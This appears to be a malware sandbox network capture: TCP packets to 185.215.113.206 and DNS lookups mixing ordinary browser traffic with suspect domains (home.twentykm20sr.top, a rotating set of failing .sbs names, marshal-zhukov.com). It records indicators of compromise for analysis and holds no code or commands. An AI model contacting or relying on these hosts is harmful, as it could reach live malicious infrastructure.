Nov 27, 2024 17:59:01.422205925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.422260046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:01.422354937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.422821045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.422909975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.422940016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:01.423000097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:01.423026085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:01.423248053 CET	49850	80	192.168.2.7	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 27, 2024 17:58:27.849595070 CET	192.168.2.7	1.1.1.1	0xfd86	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:27.849745989 CET	192.168.2.7	1.1.1.1	0x6c4a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:34.754297972 CET	192.168.2.7	1.1.1.1	0x327e	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:34.754507065 CET	192.168.2.7	1.1.1.1	0x9ba6	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:40.386532068 CET	192.168.2.7	1.1.1.1	0x4259	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:40.387145042 CET	192.168.2.7	1.1.1.1	0x12a2	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:43.532094002 CET	192.168.2.7	1.1.1.1	0x816c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:43.532238007 CET	192.168.2.7	1.1.1.1	0xdb1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 27, 2024 17:58:43.917177916 CET	192.168.2.7	1.1.1.1	0x907a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:43.917434931 CET	192.168.2.7	1.1.1.1	0xa7a1	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:45.229055882 CET	192.168.2.7	1.1.1.1	0xdf09	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.229309082 CET	192.168.2.7	1.1.1.1	0x4370	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:45.229732037 CET	192.168.2.7	1.1.1.1	0x622e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.229990959 CET	192.168.2.7	1.1.1.1	0x4e8d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:45.395417929 CET	192.168.2.7	1.1.1.1	0x308c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.395780087 CET	192.168.2.7	1.1.1.1	0x8c55	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:45.965341091 CET	192.168.2.7	1.1.1.1	0xfc1d	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.965714931 CET	192.168.2.7	1.1.1.1	0x4223	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:45.977552891 CET	192.168.2.7	1.1.1.1	0x5cf3	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.977709055 CET	192.168.2.7	1.1.1.1	0x3460	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:46.105890989 CET	192.168.2.7	1.1.1.1	0x55b2	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:46.106117010 CET	192.168.2.7	1.1.1.1	0x25af	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 27, 2024 17:58:46.247940063 CET	192.168.2.7	1.1.1.1	0xcc6e	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:46.248080969 CET	192.168.2.7	1.1.1.1	0xf677	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 27, 2024 17:59:57.754744053 CET	192.168.2.7	1.1.1.1	0xad8	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:59:57.754873037 CET	192.168.2.7	1.1.1.1	0x9507	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Nov 27, 2024 18:00:00.836359978 CET	192.168.2.7	1.1.1.1	0x124c	Standard query (0)	home.twentykm20sr.top	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:00.836548090 CET	192.168.2.7	1.1.1.1	0x5050	Standard query (0)	home.twentykm20sr.top	28	IN (0x0001)	false
Nov 27, 2024 18:00:04.675693989 CET	192.168.2.7	1.1.1.1	0x7d7c	Standard query (0)	home.twentykm20sr.top	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:04.675792933 CET	192.168.2.7	1.1.1.1	0x42c5	Standard query (0)	home.twentykm20sr.top	28	IN (0x0001)	false
Nov 27, 2024 18:00:04.837455988 CET	192.168.2.7	1.1.1.1	0xf47f	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:04.980386972 CET	192.168.2.7	1.1.1.1	0xb0b4	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.122164965 CET	192.168.2.7	1.1.1.1	0x69e3	Standard query (0)	occupy-blushi.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.262970924 CET	192.168.2.7	1.1.1.1	0x6f3b	Standard query (0)	blade-govern.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.404997110 CET	192.168.2.7	1.1.1.1	0xbe2	Standard query (0)	story-tense-faz.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.549880981 CET	192.168.2.7	1.1.1.1	0x95a6	Standard query (0)	leg-sate-boat.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.695138931 CET	192.168.2.7	1.1.1.1	0x62e8	Standard query (0)	disobey-curly.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.988975048 CET	192.168.2.7	1.1.1.1	0x7e48	Standard query (0)	motion-treesz.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:06.133404016 CET	192.168.2.7	1.1.1.1	0xe754	Standard query (0)	powerful-avoids.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:06.280225992 CET	192.168.2.7	1.1.1.1	0x5a24	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:08.984904051 CET	192.168.2.7	1.1.1.1	0xc5a0	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:18.837480068 CET	192.168.2.7	1.1.1.1	0x14e3	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:18.980859995 CET	192.168.2.7	1.1.1.1	0xb078	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.123121023 CET	192.168.2.7	1.1.1.1	0x1d54	Standard query (0)	occupy-blushi.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.267441034 CET	192.168.2.7	1.1.1.1	0xb864	Standard query (0)	blade-govern.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.491569996 CET	192.168.2.7	1.1.1.1	0x71ce	Standard query (0)	story-tense-faz.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.819428921 CET	192.168.2.7	1.1.1.1	0xc702	Standard query (0)	leg-sate-boat.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:20.108603954 CET	192.168.2.7	1.1.1.1	0xa836	Standard query (0)	disobey-curly.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:20.350644112 CET	192.168.2.7	1.1.1.1	0x6dd2	Standard query (0)	motion-treesz.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:20.499635935 CET	192.168.2.7	1.1.1.1	0x4fa5	Standard query (0)	powerful-avoids.sbs	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:24.838087082 CET	192.168.2.7	1.1.1.1	0x8761	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:24.926000118 CET	192.168.2.7	1.1.1.1	0xdd2f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.035034895 CET	192.168.2.7	1.1.1.1	0x9515	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:25.054651976 CET	192.168.2.7	1.1.1.1	0x9ca6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.092336893 CET	192.168.2.7	1.1.1.1	0x591f	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.094290972 CET	192.168.2.7	1.1.1.1	0x9fa	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.114972115 CET	192.168.2.7	1.1.1.1	0xe12e	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.115852118 CET	192.168.2.7	1.1.1.1	0x50ea	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.158375025 CET	192.168.2.7	1.1.1.1	0x352d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.195980072 CET	192.168.2.7	1.1.1.1	0xcc1a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.199911118 CET	192.168.2.7	1.1.1.1	0xd9a7	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.273132086 CET	192.168.2.7	1.1.1.1	0x8f2c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.274152040 CET	192.168.2.7	1.1.1.1	0x5811	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.278543949 CET	192.168.2.7	1.1.1.1	0x51fa	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:25.441186905 CET	192.168.2.7	1.1.1.1	0xa177	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:25.470065117 CET	192.168.2.7	1.1.1.1	0x44d7	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.525285006 CET	192.168.2.7	1.1.1.1	0x660b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:25.585767984 CET	192.168.2.7	1.1.1.1	0x9e90	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.633307934 CET	192.168.2.7	1.1.1.1	0x9861	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:25.688014030 CET	192.168.2.7	1.1.1.1	0x4716	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.726547003 CET	192.168.2.7	1.1.1.1	0x862a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:25.846322060 CET	192.168.2.7	1.1.1.1	0x84f5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:26.012247086 CET	192.168.2.7	1.1.1.1	0x2b65	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.060213089 CET	192.168.2.7	1.1.1.1	0x7050	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.179325104 CET	192.168.2.7	1.1.1.1	0xcb73	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:26.220022917 CET	192.168.2.7	1.1.1.1	0x7bb2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:26.361625910 CET	192.168.2.7	1.1.1.1	0x4a92	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.474910975 CET	192.168.2.7	1.1.1.1	0x3a37	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.475023985 CET	192.168.2.7	1.1.1.1	0xa71f	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.477207899 CET	192.168.2.7	1.1.1.1	0x2fdf	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:26.558563948 CET	192.168.2.7	1.1.1.1	0xf24a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:28.391272068 CET	192.168.2.7	1.1.1.1	0xb8d7	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.391526937 CET	192.168.2.7	1.1.1.1	0xb4a4	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.391738892 CET	192.168.2.7	1.1.1.1	0x5d07	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.543762922 CET	192.168.2.7	1.1.1.1	0xe4f3	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.544135094 CET	192.168.2.7	1.1.1.1	0x5c15	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.581424952 CET	192.168.2.7	1.1.1.1	0xdbd	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.692537069 CET	192.168.2.7	1.1.1.1	0xb3e9	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:28.695883989 CET	192.168.2.7	1.1.1.1	0x876a	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:28.735160112 CET	192.168.2.7	1.1.1.1	0xa3e	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 27, 2024 18:00:28.834043026 CET	192.168.2.7	1.1.1.1	0x57c2	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:28.854281902 CET	192.168.2.7	1.1.1.1	0x623c	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.055727005 CET	192.168.2.7	1.1.1.1	0x72a	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.055860996 CET	192.168.2.7	1.1.1.1	0xb9f	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.219321012 CET	192.168.2.7	1.1.1.1	0xdbea	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.223649025 CET	192.168.2.7	1.1.1.1	0xa56a	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:29.341473103 CET	192.168.2.7	1.1.1.1	0xcfd1	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:29.378880024 CET	192.168.2.7	1.1.1.1	0x371d	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:29.550103903 CET	192.168.2.7	1.1.1.1	0x729d	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 27, 2024 18:00:31.971793890 CET	192.168.2.7	1.1.1.1	0x4b23	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 27, 2024 18:00:43.317995071 CET	192.168.2.7	1.1.1.1	0x6e63	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 17:58:27.986869097 CET	1.1.1.1	192.168.2.7	0xfd86	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:27.987095118 CET	1.1.1.1	192.168.2.7	0x6c4a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 27, 2024 17:58:34.896558046 CET	1.1.1.1	192.168.2.7	0x9ba6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:34.899142027 CET	1.1.1.1	192.168.2.7	0x327e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:34.899142027 CET	1.1.1.1	192.168.2.7	0x327e	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:40.524456024 CET	1.1.1.1	192.168.2.7	0x12a2	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:40.526717901 CET	1.1.1.1	192.168.2.7	0x4259	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:41.591903925 CET	1.1.1.1	192.168.2.7	0x3e4e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:41.591948986 CET	1.1.1.1	192.168.2.7	0x4e7b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:41.591948986 CET	1.1.1.1	192.168.2.7	0x4e7b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:43.676816940 CET	1.1.1.1	192.168.2.7	0x816c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:43.676837921 CET	1.1.1.1	192.168.2.7	0xdb1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:44.056066036 CET	1.1.1.1	192.168.2.7	0x907a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:44.056066036 CET	1.1.1.1	192.168.2.7	0x907a	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:44.131351948 CET	1.1.1.1	192.168.2.7	0xa7a1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:45.366673946 CET	1.1.1.1	192.168.2.7	0xdf09	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.366673946 CET	1.1.1.1	192.168.2.7	0xdf09	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.366691113 CET	1.1.1.1	192.168.2.7	0x4370	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 17:58:45.367134094 CET	1.1.1.1	192.168.2.7	0x622e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.367134094 CET	1.1.1.1	192.168.2.7	0x622e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.369132042 CET	1.1.1.1	192.168.2.7	0x4e8d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 17:58:45.536858082 CET	1.1.1.1	192.168.2.7	0x308c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.536858082 CET	1.1.1.1	192.168.2.7	0x308c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:45.539516926 CET	1.1.1.1	192.168.2.7	0x8c55	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 27, 2024 17:58:46.104100943 CET	1.1.1.1	192.168.2.7	0xfc1d	No error (0)	sb.scorecardresearch.com		18.161.69.30	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:46.104100943 CET	1.1.1.1	192.168.2.7	0xfc1d	No error (0)	sb.scorecardresearch.com		18.161.69.117	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:46.104100943 CET	1.1.1.1	192.168.2.7	0xfc1d	No error (0)	sb.scorecardresearch.com		18.161.69.8	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:46.104100943 CET	1.1.1.1	192.168.2.7	0xfc1d	No error (0)	sb.scorecardresearch.com		18.161.69.125	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:58:46.115705013 CET	1.1.1.1	192.168.2.7	0x3460	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:46.116358042 CET	1.1.1.1	192.168.2.7	0x5cf3	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:46.245764971 CET	1.1.1.1	192.168.2.7	0x55b2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:46.247220039 CET	1.1.1.1	192.168.2.7	0x25af	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:46.389199972 CET	1.1.1.1	192.168.2.7	0xcc6e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:46.393089056 CET	1.1.1.1	192.168.2.7	0xf677	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:47.526737928 CET	1.1.1.1	192.168.2.7	0x6c53	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 17:58:47.526737928 CET	1.1.1.1	192.168.2.7	0x6c53	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:59:57.893218040 CET	1.1.1.1	192.168.2.7	0xad8	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 27, 2024 17:59:57.893218040 CET	1.1.1.1	192.168.2.7	0xad8	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:01.651634932 CET	1.1.1.1	192.168.2.7	0x124c	No error (0)	home.twentykm20sr.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:04.819855928 CET	1.1.1.1	192.168.2.7	0x7d7c	No error (0)	home.twentykm20sr.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:04.975549936 CET	1.1.1.1	192.168.2.7	0xf47f	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.120158911 CET	1.1.1.1	192.168.2.7	0xb0b4	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.260456085 CET	1.1.1.1	192.168.2.7	0x69e3	Name error (3)	occupy-blushi.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.401237011 CET	1.1.1.1	192.168.2.7	0x6f3b	Name error (3)	blade-govern.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.542975903 CET	1.1.1.1	192.168.2.7	0xbe2	Name error (3)	story-tense-faz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.691190004 CET	1.1.1.1	192.168.2.7	0x95a6	Name error (3)	leg-sate-boat.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:05.965955019 CET	1.1.1.1	192.168.2.7	0x62e8	Name error (3)	disobey-curly.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:06.128695965 CET	1.1.1.1	192.168.2.7	0x7e48	Name error (3)	motion-treesz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:06.272375107 CET	1.1.1.1	192.168.2.7	0xe754	Name error (3)	powerful-avoids.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:06.422005892 CET	1.1.1.1	192.168.2.7	0x5a24	No error (0)	steamcommunity.com		104.121.10.34	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:09.262729883 CET	1.1.1.1	192.168.2.7	0xc5a0	No error (0)	marshal-zhukov.com		104.21.82.174	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:09.262729883 CET	1.1.1.1	192.168.2.7	0xc5a0	No error (0)	marshal-zhukov.com		172.67.160.80	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:18.976622105 CET	1.1.1.1	192.168.2.7	0x14e3	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.118869066 CET	1.1.1.1	192.168.2.7	0xb078	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.261992931 CET	1.1.1.1	192.168.2.7	0x1d54	Name error (3)	occupy-blushi.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.405847073 CET	1.1.1.1	192.168.2.7	0xb864	Name error (3)	blade-govern.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.629618883 CET	1.1.1.1	192.168.2.7	0x71ce	Name error (3)	story-tense-faz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:19.957469940 CET	1.1.1.1	192.168.2.7	0xc702	Name error (3)	leg-sate-boat.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:20.247091055 CET	1.1.1.1	192.168.2.7	0xa836	Name error (3)	disobey-curly.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:20.490968943 CET	1.1.1.1	192.168.2.7	0x6dd2	Name error (3)	motion-treesz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:20.644926071 CET	1.1.1.1	192.168.2.7	0x4fa5	Name error (3)	powerful-avoids.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:24.834589005 CET	1.1.1.1	192.168.2.7	0x34cc	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:24.978892088 CET	1.1.1.1	192.168.2.7	0x8761	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.072335005 CET	1.1.1.1	192.168.2.7	0xdd2f	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.198555946 CET	1.1.1.1	192.168.2.7	0x9ca6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 18:00:25.198555946 CET	1.1.1.1	192.168.2.7	0x9ca6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 27, 2024 18:00:25.243072987 CET	1.1.1.1	192.168.2.7	0x591f	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
